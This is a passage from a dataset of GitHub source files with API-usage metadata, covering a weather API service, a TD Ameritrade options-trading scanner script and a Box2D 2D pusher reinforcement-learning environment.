"usage_type": "name"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 734, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 735, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 736, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 742, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 743, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 744, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 750, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 751, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 752, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 753, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 754, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 755, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 756, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 757, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 758, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.get_age", "line_number": 763, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 779, "usage_type": "call"}, {"api_name": "{'SpeedyNetSiteProfile': 'speedy.net.accounts.models.SiteProfile', 'SpeedyMatchSiteProfile': 'speedy.match.accounts.models.SiteProfile'}.ALL_GENDERS", "line_number": 784, "usage_type": "attribute"}, {"api_name": "{'SpeedyNetSiteProfile': 'speedy.net.accounts.models.SiteProfile', 'SpeedyMatchSiteProfile': 'speedy.match.accounts.models.SiteProfile'}.GENDERS_DICT", "line_number": 784, "usage_type": "attribute"}, {"api_name": "{'SpeedyNetSiteProfile': 'speedy.net.accounts.models.SiteProfile', 'SpeedyMatchSiteProfile': 'speedy.match.accounts.models.SiteProfile'}.GENDER_VALID_VALUES", "line_number": 784, "usage_type": "attribute"}, {"api_name": "speedy.core.base.models.TimeStampedModel", "line_number": 787, "usage_type": "name"}, {"api_name": "speedy.core.base.fields.RegularUDIDField", "line_number": 788, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 789, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 789, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 789, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 789, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 789, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 789, "usage_type": "attribute"}, {"api_name": "django.db.models.EmailField", "line_number": 790, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 790, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 790, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 791, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 791, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 791, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 792, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 792, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 792, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 793, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 793, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 793, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 794, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 794, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 794, "usage_type": "call"}, {"api_name": "fields.UserAccessField", "line_number": 795, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 795, "usage_type": "call"}, {"api_name": "fields.UserAccessField.ACCESS_ME", "line_number": 795, "usage_type": "attribute"}, {"api_name": "django.utils.functional.classproperty", "line_number": 797, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 805, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 806, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.convert_to_set", "line_number": 818, "usage_type": "call"}, {"api_name": "utils.normalize_email", "line_number": 824, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.generate_confirmation_token", "line_number": 833, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects.get_current", "line_number": 836, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects", "line_number": 836, "usage_type": "attribute"}, {"api_name": "django.contrib.sites.models.Site", "line_number": 836, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 839, "usage_type": "call"}, {"api_name": "speedy.core.base.mail.send_mail", "line_number": 843, "usage_type": "call"}, {"api_name": "speedy.core.base.models.TimeStampedModel", "line_number": 869, "usage_type": "name"}, {"api_name": "django.db.models.OneToOneField", "line_number": 873, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 873, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 873, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 873, "usage_type": "attribute"}, {"api_name": "django.db.models.DateTimeField", "line_number": 874, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 874, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 874, "usage_type": "call"}, {"api_name": "django.utils.functional.cached_property", "line_number": 877, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 883, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 883, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 886, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 888, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 890, "usage_type": "call"}, {"api_name": "django.utils.formats.date_format", "line_number": 891, "usage_type": "call"}, {"api_name": "django.utils.formats", "line_number": 891, "usage_type": "name"}, {"api_name": "django.utils.html.avoid_wrapping", "line_number": 892, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 892, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.timesince", "line_number": 893, "usage_type": "call"}, {"api_name": "django.utils.functional.cached_property", "line_number": 881, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 910, "usage_type": "call"}, {"api_name": "django.dispatch.receiver", "line_number": 931, "usage_type": "call"}, {"api_name": "django.db.models.signals", "line_number": 931, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 931, "usage_type": "name"}, {"api_name": "django.dispatch.receiver", "line_number": 939, "usage_type": "call"}, {"api_name": "django.db.models.signals", "line_number": 939, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 939, "usage_type": "name"}]}
{"seq_id": "33996442760", "text": "import logging\nfrom datetime import datetime, date\nimport os\n\nfrom cachetools.func import ttl_cache\nimport requests\n\nfrom app.web.constants import TTL, ENV_CITY_NAME\nfrom settings import API_URL, API_KEY\n\nlogger = logging.getLogger(__name__)\n\n\nclass Weather:\n    def _get_weather_payload(self, data: dict):\n        forecast = {\n            \"name\": data.get(\"name\", \"\"),\n            \"temperature\": data.get(\"main\", {}).get(\"temp\"),\n            \"humidity\": data.get(\"main\", {}).get(\"humidity\"),\n            \"description\": data.get(\"weather\", [])[0],\n        }\n\n        return forecast\n\n    def _get_weather_by_day(self, data: dict, day: str):\n        temperatures = list()\n        day = date.fromisoformat(day)  # type: ignore\n        for item in data[\"list\"]:\n            timestamp = item[\"dt\"]\n            temperature_kelvin = item[\"main\"][\"temp\"]\n            temperature_celsius = temperature_kelvin - 273.15\n            datetime_utc = datetime.utcfromtimestamp(timestamp)\n\n            if datetime_utc.date() == day:\n                temperatures.append(\n                    {\n                        \"datetime_utc\": datetime_utc.strftime(\"%Y-%m-%d %H:%M:%S UTC\"),\n                        \"temperature_celsius\": temperature_celsius,\n                    }\n                )\n        response_data = {\"temperatures\": temperatures}\n\n        return response_data\n\n    async def get_weather(self):\n        city = os.environ.get(ENV_CITY_NAME)\n\n        url = f\"{API_URL}weather?q={city}&appid={API_KEY}\"\n        data = dict()\n\n        try:\n            response = requests.get(url)\n            if response.status_code == 200:\n                data = response.json()\n            logger.info(f\"Response payload: '{data}'\")\n        except Exception as e:\n            print(f\"An exception occurred: {e}\")\n            logger.warning(f\"Request error to the url: '{url}'\")\n\n        forecast = self._get_weather_payload(data)\n        return forecast\n\n    @ttl_cache(maxsize=128, ttl=TTL)\n    async def get_weather_by_day(self, day):\n        city = os.environ.get(ENV_CITY_NAME)\n\n        url = f\"{API_URL}forecast?q={city}&appid={API_KEY}\"\n        data = dict()\n\n        try:\n            response = requests.get(url)\n            if response.status_code == 200:\n                data = response.json()\n            logger.info(f\"Response payload: '{data}'\")\n        except Exception as e:\n            print(f\"An exception occurred: {e}\")\n            logger.warning(f\"Request error to the url: '{url}'\")\n\n        forecast = self._get_weather_by_day(data, day)\n        return forecast\n", "repo_name": "pooorle/weather-task1", "sub_path": "app/services/weather.py", "file_name": "weather.py", "file_ext": "py", "file_size_in_byte": 2562, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.date.fromisoformat", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 27, "usage_type": "name"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 32, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 46, "usage_type": "call"}, {"api_name": "app.web.constants.ENV_CITY_NAME", "line_number": 46, "usage_type": "argument"}, {"api_name": "os.environ", "line_number": 46, "usage_type": "attribute"}, {"api_name": "settings.API_URL", "line_number": 48, "usage_type": "name"}, {"api_name": "settings.API_KEY", "line_number": 48, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 52, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 65, "usage_type": "call"}, {"api_name": "app.web.constants.ENV_CITY_NAME", "line_number": 65, "usage_type": "argument"}, {"api_name": "os.environ", "line_number": 65, "usage_type": "attribute"}, {"api_name": "settings.API_URL", "line_number": 67, "usage_type": "name"}, {"api_name": "settings.API_KEY", "line_number": 67, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 71, "usage_type": "call"}, {"api_name": "cachetools.func.ttl_cache", "line_number": 63, "usage_type": "call"}, {"api_name": "app.web.constants.TTL", "line_number": 63, "usage_type": "name"}]}
{"seq_id": "23632036648", "text": "'''\r\nCreated on Jul 17, 2020\r\n\r\n@author: Brian\r\n\r\n********************************************************************\r\nscan TD Ameritrade watch lists:\r\n1. Assess symbols against actionable trade triggers\r\n2. evaluate ML predictive models\r\n3. Option strategies of interest\r\n\r\n********************************************************************\r\n'''\r\nimport os\r\nimport datetime as dt\r\nimport time\r\nimport logging\r\nimport pandas as pd\r\n\r\nfrom configuration import get_ini_data\r\nfrom configuration import read_config_json\r\n\r\nfrom tda_api_library import tda_get_authentication_details\r\nfrom tda_api_library import tda_read_watch_lists\r\nfrom tda_api_library import tda_read_option_chain\r\nfrom tda_api_library import format_tda_datetime\r\nfrom tda_api_library import tda_manage_throttling\r\nfrom tda_api_library import covered_call\r\nfrom tda_api_library import cash_secured_put\r\n\r\nfrom tradingIndicationsML import tradingIndications\r\n\r\nfrom macd import trade_on_macd\r\nfrom macd import macd_trade_analysis\r\nfrom bollinger_bands import trade_on_bb\r\nfrom stochastic_oscillator import trade_on_stochastic_oscillator\r\nfrom on_balance_volume import trade_on_obv\r\nfrom relative_strength import trade_on_relative_strength\r\n\r\ndef calendar_spread():\r\n    return\r\n\r\ndef diagonal_spread():\r\n    return\r\n\r\ndef iron_condor():\r\n    '''\r\n    Consider a liquid stock or ETF with a high daily trading volume. Because this trade benefits when the underlying stays in the range\r\n    between the two short strikes, consider stocks that are sideways-trending or that you have a neutral outlook on. Additionally,\r\n    the probability of an iron condor having at least some success improves when the implied volatility of the underlying falls.\r\n    To potentially capture this, consider looking for stocks with high implied volatility\r\n    for example, those that are trading in the top 50% of their 52-week implied volatility range.\r\n    When it comes to selecting the options themselves, look for options with narrow bid/ask spreads, high trading volumes, and large open interest. \r\n    This can help ensure you get the price you want for your transaction, which can be particularly important in this strategy as it has four legs.\r\n    Penny increment options can be ideal as they can make it easier to enter, and potentially exit, the trade, but they're not available on every underlying.\r\n    Sample entry rules involve selecting expirations and strike prices. When it comes to selecting your expiration, options that\r\n    expire 20 to 50 days in the future can help you capture time decay for the trade. \r\n    Be sure to look at the financial calendar of the underlying and try to avoid options that expire close to earnings announcements\r\n    or other major events. These events tend to cause implied volatility to rise  which can hurt the trade's success.\r\n    We'll start with the short options because these set up the iron condor's body or the area where you can expect to achieve max gain. \r\n    To choose your short strike prices, a delta between .20 and .30 can be a good place to start because these options generally have a \r\n    lower probability of expiring in the money than options with higher deltas. As always, selecting your strike prices will likely\r\n    be a trade-off between premium and chances of success. Options with a higher probability of expiring worthless (those with smaller deltas)\r\n    will have lower premiums.\r\n    It can be helpful to check these strikes against the resistance and support levels for the underlying to make sure the short strikes are near, \r\n    or outside, of those levels. You might consider selling a put spread below resistance and a call spread above it.\r\n    To select the long option strikes, you'll have another trade-off, this time between cost and risk, The further apart the strikes,\r\n    the greater the potential risk. However, options that are further out of the money tend to cost less, so your max gain might be higher.\r\n    '''\r\n    return\r\n\r\ndef assess_options_chanins(symbol, df_data, df_options):\r\n    logger.info('assess_options chains ----> %s' % symbol)\r\n    covered_call(symbol, df_data, df_options)\r\n    cash_secured_put(symbol, df_data, df_options)\r\n    logger.info('<---- assess_options chains')\r\n    return\r\n    \r\ndef assess_trading_signals(symbol, df_data):\r\n    logger.info('assess_trading_signals ----> %s' % symbol)\r\n    guidance = pd.DataFrame()\r\n    guidance = trade_on_macd(guidance, symbol, df_data[:])\r\n    guidance = trade_on_bb(guidance, symbol, df_data[:])\r\n    guidance = trade_on_stochastic_oscillator(guidance, symbol, df_data)\r\n    guidance = trade_on_obv(guidance, symbol, df_data)\r\n    guidance = trade_on_relative_strength(guidance, symbol, df_data)\r\n\r\n    logger.info('<---- assess_trading_signals')\r\n    return guidance\r\n\r\ndef search_for_trading_opportunities(f_out, authentication_parameters, analysis_dir, json_config):\r\n    print(\"\\nScanning for technical analysis trading opportunities\")\r\n    logger.info('searching for trading opportunities ---->')\r\n    localDirs = get_ini_data(\"LOCALDIRS\")\r\n    aiwork = localDirs['aiwork']\r\n    guidance = pd.DataFrame()\r\n    df_potential_strategies = pd.DataFrame()\r\n    '''\r\n    Trading signals based on technical analysis\r\n    '''\r\n    json_authentication = tda_get_authentication_details(authentication_parameters)\r\n    potential_option_trades = aiwork + '\\\\' + json_config['potentialoptionstrades']\r\n    for symbol in tda_read_watch_lists(json_authentication):\r\n        #print(\"Assessing: %s\" % symbol)\r\n        filename = analysis_dir + '\\\\' + symbol + '.csv'\r\n        if os.path.isfile(filename):\r\n            df_data = pd.read_csv(filename)\r\n            guidance = assess_trading_signals(symbol, df_data)\r\n            for trigger in guidance.itertuples():\r\n                report = '{:s}, {:>8s}, {:s}, {:>8.2f}, {:s}'.format(trigger[4], trigger[2], trigger[3], trigger[6], trigger[5])\r\n                print(report)\r\n                f_out.write(report + \"\\n\")\r\n                macd_trade_analysis(trigger, symbol, df_data)\r\n                '''\r\n                Additional trading strategy identification goes here\r\n                '''\r\n    '''\r\n    Machine learning models\r\n    '''\r\n    tradingIndications()\r\n\r\n    '''\r\n    Covered call options\r\n    '''\r\n    callCount=0\r\n    periodStart = time.time()\r\n    callCount, periodStart = tda_manage_throttling(callCount, periodStart)\r\n\r\n    print(\"\\nAnalyzing potential covered calls\")\r\n    for symbol in tda_read_watch_lists(json_authentication, watch_list='Combined Holding'):\r\n        callCount, periodStart = tda_manage_throttling(callCount, periodStart)\r\n        df_options, options_json = tda_read_option_chain(authentication_parameters, symbol)\r\n        filename = analysis_dir + '\\\\' + symbol + '.csv'\r\n        if os.path.isfile(filename):\r\n            df_data = pd.read_csv(filename)\r\n        df_covered_calls = covered_call(symbol, df_data, df_options)\r\n        if df_covered_calls.shape[0] > 0:\r\n            df_potential_strategies = pd.concat([df_potential_strategies, df_covered_calls])\r\n\r\n    '''\r\n    Cash secured put options\r\n    '''\r\n    print(\"\\nAnalyzing potential cash secured puts\")\r\n    for symbol in tda_read_watch_lists(json_authentication, watch_list='Potential Buy'):\r\n        callCount, periodStart = tda_manage_throttling(callCount, periodStart)\r\n        df_options, options_json = tda_read_option_chain(authentication_parameters, symbol)\r\n        filename = analysis_dir + '\\\\' + symbol + '.csv'\r\n        if os.path.isfile(filename):\r\n            df_data = pd.read_csv(filename)\r\n        df_cash_secured_puts = cash_secured_put(symbol, df_data, df_options)\r\n        if df_cash_secured_puts.shape[0] > 0:\r\n            df_potential_strategies = pd.concat([df_potential_strategies, df_cash_secured_puts])\r\n              \r\n    df_potential_strategies.to_csv(potential_option_trades + \"potential_option_trades.csv\", index=False)\r\n    logger.info('<---- searching for trading opportunities done')\r\n    return\r\n\r\nif __name__ == '__main__':\r\n    print (\"Affirmative, Dave. I read you\\n\")\r\n    '''\r\n    Prepare the run time environment\r\n    '''\r\n    start = time.time()\r\n    now = dt.datetime.now()\r\n    \r\n    localDirs = get_ini_data(\"LOCALDIRS\")\r\n    gitdir = localDirs['git']\r\n    aiwork = localDirs['aiwork']\r\n    \r\n    # Get external initialization details\r\n    app_data = get_ini_data(\"TDAMERITRADE\")\r\n    json_config = read_config_json(app_data['config'])\r\n\r\n    try:    \r\n        log_file = aiwork + '\\\\' + json_config['logFile']\r\n        if json_config['loggingLevel'] == \"debug\":\r\n            logging.basicConfig(filename=log_file, level=logging.DEBUG, format=json_config['loggingFormat'])\r\n        elif json_config['loggingLevel'] == \"info\":\r\n            logging.basicConfig(filename=log_file, level=logging.INFO, format=json_config['loggingFormat'])\r\n        else:\r\n            logging.basicConfig(filename=log_file, level=logging.WARNING, format=json_config['loggingFormat'])\r\n            \r\n        output_file = aiwork + '\\\\' + json_config['outputFile']\r\n        output_file = output_file + ' {:4d} {:0>2d} {:0>2d} {:0>2d} {:0>2d} {:0>2d}'.format(now.year, now.month, now.day, \\\r\n                                                                                       now.hour, now.minute, now.second) + '.txt'\r\n        f_out = open(output_file, 'w')    \r\n        \r\n        # global parameters\r\n        #logging.debug(\"Global parameters\")\r\n    \r\n    except Exception:\r\n        print(\"\\nAn exception occurred - log file details are missing from json configuration\")\r\n        \r\n    print (\"Logging to\", log_file)\r\n    logger = logging.getLogger('chandra_logger')\r\n    log_fmt = logging.Formatter('%(asctime)s - %(name)s - %levelname - %(messages)s')\r\n    logger.info('Updating stock data')\r\n\r\n    #update_tda_eod_data(app_data['authentication'])\r\n    search_for_trading_opportunities(f_out, app_data['authentication'], app_data['market_analysis_data'], json_config)\r\n    \r\n    '''\r\n    clean up and prepare to exit\r\n    '''\r\n    f_out.close()\r\n\r\n    print (\"\\nDave, this conversation can serve no purpose anymore. Goodbye\")\r\n", "repo_name": "BrianC42/Chandra", "sub_path": "processes/single/assess_trading_signals.py", "file_name": "assess_trading_signals.py", "file_ext": "py", "file_size_in_byte": 10124, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tda_api_library.covered_call", "line_number": 74, "usage_type": "call"}, {"api_name": "tda_api_library.cash_secured_put", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 81, "usage_type": "call"}, {"api_name": "macd.trade_on_macd", "line_number": 82, "usage_type": "call"}, {"api_name": "bollinger_bands.trade_on_bb", "line_number": 83, "usage_type": "call"}, {"api_name": "stochastic_oscillator.trade_on_stochastic_oscillator", "line_number": 84, "usage_type": "call"}, {"api_name": "on_balance_volume.trade_on_obv", "line_number": 85, "usage_type": "call"}, {"api_name": "relative_strength.trade_on_relative_strength", "line_number": 86, "usage_type": "call"}, {"api_name": "configuration.get_ini_data", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 96, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 97, "usage_type": "call"}, {"api_name": "tda_api_library.tda_get_authentication_details", "line_number": 101, "usage_type": "call"}, {"api_name": "tda_api_library.tda_read_watch_lists", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 107, "usage_type": "call"}, {"api_name": "macd.macd_trade_analysis", "line_number": 113, "usage_type": "call"}, {"api_name": "tradingIndicationsML.tradingIndications", "line_number": 120, "usage_type": "call"}, {"api_name": "time.time", "line_number": 126, "usage_type": "call"}, {"api_name": "tda_api_library.tda_manage_throttling", "line_number": 127, "usage_type": "call"}, {"api_name": "tda_api_library.tda_read_watch_lists", "line_number": 130, "usage_type": "call"}, {"api_name": "tda_api_library.tda_manage_throttling", "line_number": 131, "usage_type": "call"}, {"api_name": "tda_api_library.tda_read_option_chain", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 135, "usage_type": "call"}, {"api_name": "tda_api_library.covered_call", "line_number": 136, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 138, "usage_type": "call"}, {"api_name": "tda_api_library.tda_read_watch_lists", "line_number": 144, "usage_type": "call"}, {"api_name": "tda_api_library.tda_manage_throttling", "line_number": 145, "usage_type": "call"}, {"api_name": "tda_api_library.tda_read_option_chain", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 149, "usage_type": "call"}, {"api_name": "tda_api_library.cash_secured_put", "line_number": 150, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 152, "usage_type": "call"}, {"api_name": "time.time", "line_number": 163, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 164, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 164, "usage_type": "attribute"}, {"api_name": "configuration.get_ini_data", "line_number": 166, "usage_type": "call"}, {"api_name": "configuration.get_ini_data", "line_number": 171, "usage_type": "call"}, {"api_name": "configuration.read_config_json", "line_number": 172, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 177, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 177, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 179, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 179, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 181, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 181, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 195, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 196, "usage_type": "call"}]}
{"seq_id": "6074573721", "text": "import Box2D\nfrom Box2D.b2 import (circleShape, fixtureDef, polygonShape)\nimport gym\nfrom gym import spaces\nfrom gym.utils import seeding\nimport numpy as np\n\nMIN_COORD = 0\nMAX_COORD = 5\nPUSHER_START = np.array([1.0, 1.0])\nBOX_START = np.array([2.0, 2.0])\nFORCE_MULT = 1\nRAD = 0.2\nSIDE_GAP_MULT = 2\nBOX_RAD = 0.2\nGOAL_RAD = 0.5\nMAX_STEPS = 20\nFPS = 2\n\nclass Pusher2d(gym.Env):\n    \"\"\"A 2D pusher environment.\n    \n    The agent controls a circular paddle which pushes a circlular puck.\n    The aim is to push the puck to a specified goal location.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize the pusher environment.\"\"\"\n        self.seed()\n        self.world = Box2D.b2World(gravity=(0,0))\n        self.pusher = None\n        self.box = None\n        #Actions: x-movement, y-movement (clipped -1 to 1)\n        self.action_space = spaces.Box(np.ones(2) * -1, \\\n                                       np.ones(2), dtype=np.float32)\n        #State: x-pusher, y-pusher, x-box, y-box, x-goal, y-goal\n        self.observation_space = spaces.Box(np.ones(6) * MIN_COORD, \\\n                                            np.ones(6) * MAX_COORD, dtype=np.float32)\n        self.reset()\n\n    def seed(self, seed=None):\n        self.np_random, seed = seeding.np_random(seed)\n        return [seed]\n\n    def random_place(self):\n        \"\"\"Randomly samples a goal location nearby the initial location.\"\"\"\n        return [ \\\n            self.np_random.uniform(BOX_START[0] + BOX_RAD + GOAL_RAD, \n                                   MAX_COORD - RAD*SIDE_GAP_MULT),\\\n            self.np_random.uniform(BOX_START[1] + BOX_RAD + GOAL_RAD, \n                                   MAX_COORD - RAD*SIDE_GAP_MULT)]\n\n    def _destroy(self):\n        \"\"\"Removes the Box2D entities.\"\"\"\n        if not self.box:\n            return\n        self.world.DestroyBody(self.box)\n        self.world.DestroyBody(self.pusher)\n\n    def reset(self):\n        \"\"\"Resets the environment.\n\n        Returns:\n            obs: initial observation.\n        \"\"\"\n        self._destroy()\n        self.pusher = self.world.CreateDynamicBody(\n            position = PUSHER_START[:],\n            fixtures = fixtureDef(\n                shape=circleShape(radius=RAD, pos=(0,0)),\n                density=1.0\n                )\n        )\n        self.box = self.world.CreateDynamicBody(\n            position = BOX_START[:],\n            fixtures = fixtureDef(\n                shape=circleShape(radius=BOX_RAD, pos=(0,0)),\n                density=1.0\n                )\n        )\n        self.goal_pos = self.random_place()\n        self.elapsed_steps = 0\n        return self._get_obs()\n\n    def step(self, action):\n        \"\"\"Steps the environment.\n\n        Args:\n            action: The action to apply in the environment.\n        Returns:\n            obs: (array) the state of the environment.\n            rew: (float) the reward for taking this action.\n            done: (bool) an indicator of whether the episode terminated.\n            info: (dict) additional information for debugging.\n        \"\"\"\n        action = np.clip(action, -1, 1).astype(np.float32)\n        self.elapsed_steps += 1\n        self.pusher._b2Body__SetLinearVelocity((FORCE_MULT*action[0], FORCE_MULT*action[1]))\n        self.box._b2Body__SetActive(True)\n        self.world.Step(1.0/FPS, 6*30, 2*30)\n        done = False\n        reward = -1\n        obj_coords = np.concatenate([self.pusher.position.tuple, self.box.position.tuple])\n        info = {\"done\": None}\n        # Terminate the episode if the pusher or block is too far away.\n        if np.min(obj_coords) < MIN_COORD or np.max(obj_coords) > MAX_COORD:\n            reward = -1.0 * MAX_STEPS\n            done = True\n            info['done'] = 'out of bounds'\n        # Check if out of time.\n        elif self.elapsed_steps >= MAX_STEPS:\n            done = True\n            info[\"done\"] = \"max steps reached\"\n        # Check if goal reached.\n        elif np.linalg.norm(np.array(self.box.position.tuple) - self.goal_pos) < RAD + GOAL_RAD:\n            done = True\n            reward = 0\n            info[\"done\"] = \"goal reached\"\n        return self._get_obs(), reward, done, info\n\n    def _get_obs(self):\n        \"\"\"Compute the observation.\n        \n        Coordinates [0, 1] are the pusher position.\n        Coordinates [2, 3] are the puck position.\n        Coordinates [4, 5] are the goal position for the puck.\n        \"\"\"\n        state = np.concatenate([self.pusher.position.tuple, \\\n                                self.box.position.tuple, \\\n                                self.goal_pos])\n        return state\n\n    def apply_hindsight(self, states):\n        \"\"\"Relabels a trajectory using a new goal state.\n\n        This involves modifying each state to correspond to the new goal,\n        and recomputing the corresponding rewards.\n        \n        Args:\n            states: (list) states in a trajectory.\n        Returns:\n            her_states: (list) states in a trajectory.\n            her_rewards: (list) rewards for the relabeled trajectory.\n        \"\"\"\n        goal = states[-1][2:4] # Get new goal location (last location of box).\n        her_states = []\n        her_rewards = []\n        for s in states:\n            s[-2:] = goal.copy()\n            r = self._HER_calc_reward(s)\n            her_states.append(s)\n            her_rewards.append(r)\n        return her_states, her_rewards\n\n    def _HER_calc_reward(self, state):\n        \"\"\"Computes the reward for a given state, which contains the goal.\n\n        Args:\n            state: a state, part of which corresponds to the goal.\n        Returns\n            reward: (float) the reward.\n        \"\"\"\n        if np.linalg.norm(state[2:4] - state[4:6]) < RAD + GOAL_RAD:\n            return 0.0\n        else:\n            return -1.0\n", "repo_name": "KatayoonGoshvadi/Deep-Reinforcement-Learning-and-Control", "sub_path": "Project4/envs/2Dpusher_env.py", "file_name": "2Dpusher_env.py", "file_ext": "py", "file_size_in_byte": 5759, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 11, "usage_type": "call"}, {"api_name": "gym.Env", "line_number": 20, "usage_type": "attribute"}, {"api_name": "Box2D.b2World", "line_number": 30, "usage_type": "call"}, {"api_name": "gym.spaces.Box", "line_number": 34, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 35, "usage_type": "attribute"}, {"api_name": "gym.spaces.Box", "line_number": 37, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 38, "usage_type": "attribute"}, {"api_name": "gym.utils.seeding.np_random", "line_number": 42, "usage_type": "call"}, 